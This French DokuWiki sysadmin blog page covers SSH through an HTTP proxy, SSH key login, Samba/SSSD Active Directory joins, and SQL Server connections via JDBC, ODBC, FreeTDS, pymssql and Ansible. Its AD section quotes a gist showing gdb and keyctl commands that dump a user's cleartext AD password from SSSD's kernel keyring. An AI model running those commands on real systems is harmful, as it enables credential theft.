Outils pour utilisateurs

Outils du site


blog

Connexion SSH via proxy HTTP

Le proxy doit très probablement accepter de joindre les ports distants 80 (HTTP) et 443 (HTTPS). Il peut être nécessaire de faire écouter le serveur SSH sur l'un de ces ports.
Voir tunnel_ssh_over_https

Install de corkscrew (tire-bouchon en anglais)

sudo apt-get install corkscrew

Configuration du client SSH

.ssh/config
Host plop
    Hostname plop.acme.fr
    Port 443
    ProxyCommand /usr/bin/corkscrew 192.168.56.1 3128 %h %p
2025/03/24 15:06

Connexion par clefs SSH - exemple

Voir aussi : Notes clefs SSH

Première connexion

Client

ssh utilisateur1@192.168.205.21

Comme c'est la première fois que vous vous connectez à cette machine, l'empreinte n'est pas encore connue. C'est pour éviter qu'un pirate se fasse passer pour votre serveur.

Répondre yes

The authenticity of host '192.168.205.21 (192.168.205.21)' can't be established.
ECDSA key fingerprint is 3e:4b:eb:d2:cb:90:ad:f7:64:b5:2e:eb:9f:d8:3a:ab.
Are you sure you want to continue connecting (yes/no)? yes

ssh config

Pour nous simplifier la vie et ne pas taper à chaque fois l'IP, le numéro de port et l'utilisateur, nous allons enregistrer tout cela dans un fichier de config

Client

~/.ssh/config

Host serv1
        Hostname 192.168.205.21
        User utilisateur1
        Port 22

Le caractère '~' signifie le HOME de l'utilisateur, c'est-à-dire son répertoire par défaut (voir /etc/passwd)

Maintenant nous pouvons nous connecter

Client

ssh serv1

Connexion par clef

Avons-nous déjà une paire de clefs ?

Client

ls -l ~/.ssh/id_*

Si non (aucun fichier trouvé), créons une paire

Client

ssh-keygen
#ssh-keygen -t ecdsa -b 521

Ou par script

if [ ! -e ~/.ssh/id_rsa ]
then
   ssh-keygen -q -N "" < /dev/zero
fi

Appuyer trois fois sur entrée (valeur par défaut)

Client

ls -l ~/.ssh/id_*
-rw------- 1 jean jean 1679 mai   12 15:44 /home/jean/.ssh/id_rsa
-rw-r----- 1 jean jean  394 mai   12 15:44 /home/jean/.ssh/id_rsa.pub

Nous avons deux fichiers :

  • id_rsa.pub : Clef publique RSA, le fichier peut être distribué à tous, même sur le web
  • id_rsa : Clef privée RSA, fichier à garder précieusement. À ne jamais distribuer à personne

Jetons un œil à la clef publique

Client

~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQYGWtV+70Zegq7gVS+h/OsSi3tvhcp3o1HemKhkORlbLSSMM60dkhid5rcy9e/NUhMElbpBE46CkRqvRLKFsqMwTkEVJoRkjGXi/w/mHu/1RqSVUBwFkXL3lJSrWAHgV1T5kXeq9z8LgoJgCdEfb4UF9XSYasPhaL6wT9T+TJ6VfEhKDOhV5IcJ8J6HQG0MW3NnAztVnHj4a8ZuAcVR9/cs+hWpQiEuixkSmsUHN7b6XJ+JOJiP3MBodIfMPEfd1IDLHA8uOuqGWeQPeUh0nPcLlnJnJ6cw40Ejhg80KCSFN8uOVigWwAimo0FCGxNNYqAtTDipuK5l0JKUG5YKV jean@debian2

Autorisation

Maintenant j'aimerais bien pouvoir me connecter sans mot de passe à serv1 (utilisateur1@192.168.205.21).

Rien de plus simple, je vais déposer ma clef publique (on ne copie jamais sa clef privée !) dans le HOME de utilisateur1 sur 192.168.205.21.

Pour être exacte il faut ajouter la clef publique dans ~/.ssh/authorized_keys.

Serveur

mkdir ~/.ssh
cat <<EOF >> /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQYGWtV+70Zegq7gVS+h/OsSi3tvhcp3o1HemKhkORlbLSSMM60dkhid5rcy9e/NUhMElbpBE46CkRqvRLKFsqMwTkEVJoRkjGXi/w/mHu/1RqSVUBwFkXL3lJSrWAHgV1T5kXeq9z8LgoJgCdEfb4UF9XSYasPhaL6wT9T+TJ6VfEhKDOhV5IcJ8J6HQG0MW3NnAztVnHj4a8ZuAcVR9/cs+hWpQiEuixkSmsUHN7b6XJ+JOJiP3MBodIfMPEfd1IDLHA8uOuqGWeQPeUh0nPcLlnJnJ6cw40Ejhg80KCSFN8uOVigWwAimo0FCGxNNYqAtTDipuK5l0JKUG5YKV jean@debian2
EOF
chmod 600 ~/.ssh/authorized_keys

Attention, pour des raisons de sécurité les droits sur ~/.ssh/authorized_keys doivent être 600 (Lecteur-écriture que pour le propriétaire) et le fichier doit appartenir à l'utilisateur concerné.

Passe-phrase

partie à rédiger

Que se passe t-il si votre clef privée tombe entre de mauvaises mains ? Pour se prémunir, il est possible de chiffrer la clef SSH privée avec une passe-phrase.

Et pour éviter de taper à chaque fois la passe-phrase, on utilise un “agent”, aussi la passe-phrase ne sera demandée qu'une seule fois.

2025/03/24 15:06

Connexion AD Active Directory LDAP

Note install

/etc/security/limits.d/samba.conf
#root soft nofile 16384
#root hard nofile 16384
root - nofile 16384
wbinfo --ping-dc
net join ads -U useradmin -S cd1-plop.mydomain.local -d 3
# wbinfo  --own-domain
MYDOMAIN
Sécu gdb

Source : https://gist.github.com/gladiatx0r/c52d529ea268f7e74295c2c492cf9774

[domain/example.com]
krb5_store_password_if_offline = true
for who ever this interest, if you enable krb5_store_password_if_offline   in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :

```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```

From the /tmp/output locate the key_id for the user you want
Example of an output is : 
Session Keyring
 204928979 --alswrv      0     0  keyring: _ses
 471547288 --alswrv      0     0   \_ user: user@evilcorp.local
now again in GDB do the following : 

```
call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output
```

enjoy the cleartext password in /tmp/output :)

Diag

Diagnostic

  • stop smbd, nmbd and winbindd (make sure they are really dead using ps. winbindd still lingered after I stopped the service)
  • delete the samba from the PDC (using the Management Console)
  • delete the secrets database (/var/lib/samba/secrets.tdb)
  • join the domain again
  • start the daemons again (smbd, nmbd and winbindd)

Source : https://ubuntuforums.org/showthread.php?t=1857135

sudo sssctl analyze request list --pam

Utilisations diverses

Pb

Pb connexion serveur AD / LDAP

Active Directory

Problème de connexion AD :

/etc/init.d/samba stop
/etc/init.d/winbind stop
/etc/init.d/winbind start
/etc/init.d/samba start

Tester

Un compte particulier

getent passwd DOMAIN/compteAD
id compteAD

Lister tous les comptes, les groupes

wbinfo -u
wbinfo -g
2025/03/24 15:06

Connexion à une base propriétaire - Python - JDBC - ODBC

JAVA JDBC command line

Install du JRE Java
sudo yum install java-1.8.0-openjdk-headless
Téléchargement

Téléchargement de sqlline \ Nous avons deux fichiers :

  • jline-1.0.jar
  • sqlline-1_0_2.jar

Téléchargement du driver JDBC \ Nous avons besoin que d'un fichier :

  • mssql-jdbc-12.2.0.jre8.jar (pour Java 1.8)
  • ou mssql-jdbc-12.2.0.jre11.jar (pour Java 1.11)
Exécution de sqlline
java -Djava.ext.dirs=. -jar sqlline-1_0_2.jar

Au prompt de sqline taper :

!connect jdbc:sqlserver://serveur_base_de_données:1433;databaseName=leNomDeMaBase;

Nous pouvons passer des options au driver JDBC de la base comme dans notre exemple : \ ;databaseName=leNomDeMaBase;

L'option integratedSecurity=true; semble propre à windows

Après avoir tapé le nom et mdp de connexion nous avons l'erreur :

Error: The driver could not establish a secure connection to SQL Server by using Secure Sockets Layer (SSL) encryption. Error: "No negotiable cipher suite". ClientConnectionId:c83221ff-76a4-4e9a-8206-092b76475256 (state=08S01,code=0)

Pour déboguer nous faisons :

java -Djava.ext.dirs=. -Djavax.net.debug=all -jar sqlline-1_0_2.jar

Mais comme c'est un pb de “cipher suite” nous prenons une version plus récente de Java

sudo yum remove java-1.8.0-openjdk-headless
sudo yum install java-11-openjdk-headless

Il ne faut pas oublier non plus de changer le driver JDBC pour mssql-jdbc-12.2.0.jre11.jar

La syntax change :

java -cp ./sqlline-1_0_2.jar:./jline-1.0.jar:./mssql-jdbc-12.2.0.jre11.jar sqlline.SqlLine

-Djava.ext.dirs= a été remplacé par l'équivalent -cp= ou --class-path= qui permet de changer le ClassPath, mais ça ne semple fonctionner que pour les fichiers et non plus pour les répertoires. \ Voir : https://skywalking.apache.org/docs/skywalking-java/v8.9.0/en/faq/ext-dirs/

A présent voici l'erreur :

Error: The driver could not establish a secure connection to SQL Server by using Secure Sockets Layer (SSL) encryption. Error: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target". ClientConnectionId:88db8777-73f0-4bd7-b75d-c45d79d91bff (state=08S01,code=0)

;trustServerCertificate=true; n'est pas pris en charge par sqlline \ ;Trusted_Connection=yes; ne semble avoir aucun effet.

L'option qui nous intéresse est : \ ;trustServerCertificate=true;

!connect jdbc:sqlserver://127.0.0.1:1433;databaseName=dbname;trustServerCertificate=true;
Solution
$ java -cp ./sqlline-1_0_2.jar:./jline-1.0.jar:./mssql-jdbc-12.2.0.jre11.jar sqlline.SqlLine
sqlline version 1.0.2 by Marc Prud'hommeaux
sqlline> !connect jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;
Connecting to jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;
Enter username for jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;: USER1
Enter password for jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;: *************************
Connected to: Microsoft SQL Server (version 13.00.5882)
Driver: Microsoft JDBC Driver 12.2 for SQL Server (version 12.2.0.0)
Autocommit status: true
Transaction isolation: TRANSACTION_REPEATABLE_READ
0: jdbc:sqlserver://127.0.0.1:1433>

Autres

ODBC avec Microsoft ODBC Driver 18 for SQL Server - KO

Comme ça ne marche pas en JDBC on essaie en ODBC

sudo rpm -Uvh msodbcsql18-18.2.2.1-1.x86_64.rpm unixODBC-2.3.11-1.rh.x86_64.rpm

Essayons d'abord avec sqlcmd le CLI officiel (qui utilise ODBC)

sudo rpm -Uvh mssql-tools18-18.2.1.1-1.x86_64.rpm
$ #/opt/mssql-tools18/bin/sqlcmd -S 127.0.0.1,1433 -U MonUser -P pwd -Q 'SELECT name FROM sys.databases;'
$ /opt/mssql-tools18/bin/sqlcmd -S 127.0.0.1,1433 -U MonUser@acme.local -d dbname -C
Password:
Sqlcmd: Error: Microsoft ODBC Driver 18 for SQL Server : Login failed for user 'MonUser@acme.local'..

Ça ne marche pas. Passons en pur ODBC

cat /etc/odbcinst.ini

/etc/odbcinst.ini

[ODBC Driver 18 for SQL Server]
Description=Microsoft ODBC Driver 18 for SQL Server
Driver=/opt/microsoft/msodbcsql18/lib64/libmsodbcsql-18.2.so.2.1
UsageCount=1

~/.odbc.ini

[mssql_test]
Driver = ODBC Driver 18 for SQL Server
Server = tcp:127.0.0.1,1433
Encrypt = yes
TrustServerCertificate = yes

Le TrustServerCertificate = yes est bien pris en compte

$ iusql -v mssql_test mon_user 'Passw0rd'
[28000][unixODBC][Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Login failed for user 'mon_user'.
[ISQL]ERROR: Could not SQLConnect

Voir aussi :

import pyodbc
conn = pyodbc.connect("Driver={driver};Server=tcp:{serverName},{port};Database={masterDB};Uid={rootUser}@{serverName};Pwd={rootPass};TrustServerCertificate=yes;integratedSecurity=true;Domain=ACME;".format(serverName='127.0.0.1', masterDB='dbname', rootUser=r'user1', rootPass=r'Passw0rd!', driver="ODBC Driver 18 for SQL Server", port='1433'), autocommit=False)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
pyodbc.InterfaceError: ('28000', "[28000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Login failed for user 'user1@127.0.0.1'. (18456) (SQLDriverConnect)")

Le TrustServerCertificate=yes est bien pris en compte mais ça ne marche pas. Le plus simple est d'utiliser FreeTDS puis de faire un connecteur ODBC avec le driver de FreeTDS.

FreeTDS / tsql

La solution consiste à utiliser DOMAIN\user1 à la place de user1@domain.local

$ tsql -v -S localhost:1433 -U user1@acme.local -P 'Passw0rd!'
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
Msg 18456 (severity 14, state 1) from SRVWINSQL1\PLOP Line 1:
        "Login failed for user 'user1@acme.local'."
Error 20002 (severity 9):
        Adaptive Server connection failed
Error 20002 (severity 9):
        Adaptive Server connection failed
There was a problem connecting to the server
$ tsql -v -S localhost:1433 -U 'ACME\user1' -P 'Passw0rd!'
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
Changed database context to 'master'.
Changed language setting to us_english.
1>
1> SELECT 1;
2> GO
1> SELECT name FROM sys.databases;
2> GO

Il peut également être nécessaire d'ajouter use ntlmv2 = yes dans ~/.freetds.conf

ODBC avec FreeTDS

~/.odbcinst.ini

[FreeTDS]
Description=FreeTDS Driver for Linux & MSSQL
Driver=/usr/lib64/libtdsodbc.so
UsageCount=1

~/.odbc.ini

[PlopODBC]
Description         = Test to SQLServer
Driver              = FreeTDS
Servername          = PlopTDS
iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT @@version;"
iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT db_name();"
iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT name FROM sys.databases;"

Pour diag

$ osql -S PlopODBC -U 'ACME\user1' -P 'Passw0rd!'
checking shared odbc libraries linked to isql for default directories...
strings: Warning: '/usr/lib64' is a directory
        trying /tmp/sql ... no
        trying /tmp/sql ... no
        trying /etc ... OK
checking odbc.ini files
        reading /home/jean/.odbc.ini
[PlopODBC] found in /home/jean/.odbc.ini
found this section:
        [PlopODBC]
        Description         = Test to SQLServer
        Driver              = FreeTDS
        Servername          = PlopTDS
looking for driver for DSN [PlopODBC] in /home/jean/.odbc.ini
  found driver line: "  Driver              = FreeTDS"
  driver "FreeTDS" found for [PlopODBC] in .odbc.ini
found driver named "FreeTDS"
"FreeTDS" is not an executable file
looking for entry named [FreeTDS] in /etc/odbcinst.ini
#!/usr/bin/env python3
import pyodbc
conn = pyodbc.connect(DRIVER='FreeTDS', Server='127.0.0.1', Port='1433', Database='dbname', UID=r'ACME\user1', PWD=r'Passw0rd', TDS_Version='7.1', UseNTLMv2='Yes')
 
cursor = conn.cursor()
row = cursor.execute('SELECT @@version;')
for row in cursor:
    print(row[0])

Voir : urllib.parse

Ansible (FreeTDS)

ping-mssql.yml

#!/usr/bin/ansible-playbook
---

- name: test connection MsSQL
  hosts: localhost

  tasks:
    - name: set_facts SQL Cred
      set_fact:
        mssql_login_user: "{{ lookup('env', 'MSSQL_LOGIN_USER') }}"
        mssql_login_password: "{{ lookup('env', 'MSSQL_LOGIN_PASSWORD') }}"
        mssql_host: "{{ lookup('env', 'MSSQL_LOGIN_HOST') }}"
        mssql_port: "{{ lookup('env', 'MSSQL_LOGIN_PORT') |int }}"
        mssql_database: "{{ lookup('env', 'MSSQL_LOGIN_DATABASE') }}"

    - name: Check DB connection
      community.general.mssql_script:
        login_user: "{{ mssql_login_user }}"
        login_password: "{{ mssql_login_password }}"
        login_host: "{{ mssql_host }}"
        login_port: "{{ mssql_port }}"
        db: "{{ mssql_database }}"
        script: "SELECT name FROM sys.databases;"
      register: sql_result

    - name: show result query
      debug:
        var: sql_result.query_results
Conf / debug
cp /etc/freetds.conf ~/.freetds.conf
vim ~/.freetds.conf

~/.freetds.conf

[global]
tds version = auto
dump file = /tmp/freetds.log
 
[PlopTDS]
host = localhost
port = 1433
use ntlmv2 = yes
database = dbname
tsql -v -S PlopTDS -U 'ACME\user1' -P 'Passw0rd!'

pymssql

Voici le pb initiale

$ python3
Python 3.9.13 (main, Nov  9 2022, 13:16:24)
[GCC 8.5.0 20210514 (Red Hat 8.5.0-15)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pymssql
>>> conn = pymssql.connect(server='mssql01.acme.local', port='1433', user='USER01@acme.local', password='******', database='dbname')
Traceback (most recent call last):
  File "src/pymssql/_pymssql.pyx", line 647, in pymssql._pymssql.connect
  File "src/pymssql/_mssql.pyx", line 2109, in pymssql._mssql.connect
  File "src/pymssql/_mssql.pyx", line 701, in pymssql._mssql.MSSQLConnection.__init__
  File "src/pymssql/_mssql.pyx", line 1818, in pymssql._mssql.maybe_raise_MSSQLDatabaseException
  File "src/pymssql/_mssql.pyx", line 1835, in pymssql._mssql.raise_MSSQLDatabaseException
pymssql._mssql.MSSQLDatabaseException: (18456, b"Login failed for user 'USER01@acme.local'.DB-Lib error message 20018, severity 14:\nGeneral SQL Server error: Check messages from the SQL Server\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\n")

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "src/pymssql/_pymssql.pyx", line 653, in pymssql._pymssql.connect
pymssql._pymssql.OperationalError: (18456, b"Login failed for user 'USER01@acme.local'.DB-Lib error message 20018, severity 14:\nGeneral SQL Server error: Check messages from the SQL Server\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\n")

pymssql utilise FreeTDS Si FreeTDS ne fonctionne pas il est inutile d'aller plus loin.

Voici un petit bout de code qui fonctionne

#!/usr/bin/env python3
import pymssql
conn = pymssql.connect(server='localhost', port='1433', user=r'ACME\user1', password=r'Passw0rd!', database='mirror')
cursor = conn.cursor()
cursor.execute('SELECT name FROM sys.databases;')
for row in cursor:
    print(row)
conn.close()

Voir : urllib.parse

Voir aussi :

Ou encore avec pyDAL (FreeTDS)

#!/usr/bin/env python3
from pydal import DAL, Field
 
db_user = 'ACME\user1'
db_pass = 'Passw0rd!'
db_name = 'dbname'
db_host = '127.0.0.1'
db_port = 1433
db = DAL(f'mssql4://{db_user}:{db_pass}@{db_host}:{db_port}/{db_name}', driver_args={'DRIVER': 'FreeTDS', 'TDS_Version': '7.3'})
 
result = db.executesql('SELECT @@version;')
for row in result:
    print(row[0])
db.close()
2025/03/24 15:06

Anciennes Debian - fichier sources.list

Source : http://archive.debian.org/debian-archive/debian/README

See http://www.debian.org/ for information about Debian GNU/Linux.

This FTP site is a repository for old debian releases. For new releases
please see ftp://ftp.debian.org/debian/.

Releases are stored by their codenames under the dists/ directory.
  jessie  is Debian 8.0
  wheezy  is Debian 7.0
  squeeze is Debian 6.0
  lenny   is Debian 5.0
  etch    is Debian 4.0
  sarge   is Debian 3.1
  woody   is Debian 3.0
  potato  is Debian 2.2
  slink   is Debian 2.1
  hamm    is Debian 2.0
  bo      is Debian 1.3
  rex     is Debian 1.2
  buzz    is Debian 1.1
  
If you are using APT the relevent sources.list entries are like:
  deb http://archive.debian.org/debian/ $RELEASE main contrib
for example:
  deb http://archive.debian.org/debian/ sarge main contrib
/etc/apt/sources.list
deb http://archive.debian.org/debian-archive/debian/ lenny main contrib non-free
deb http://archive.debian.org/debian-security/ lenny/updates main contrib non-free
2025/03/24 15:06
blog.txt · Dernière modification : de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki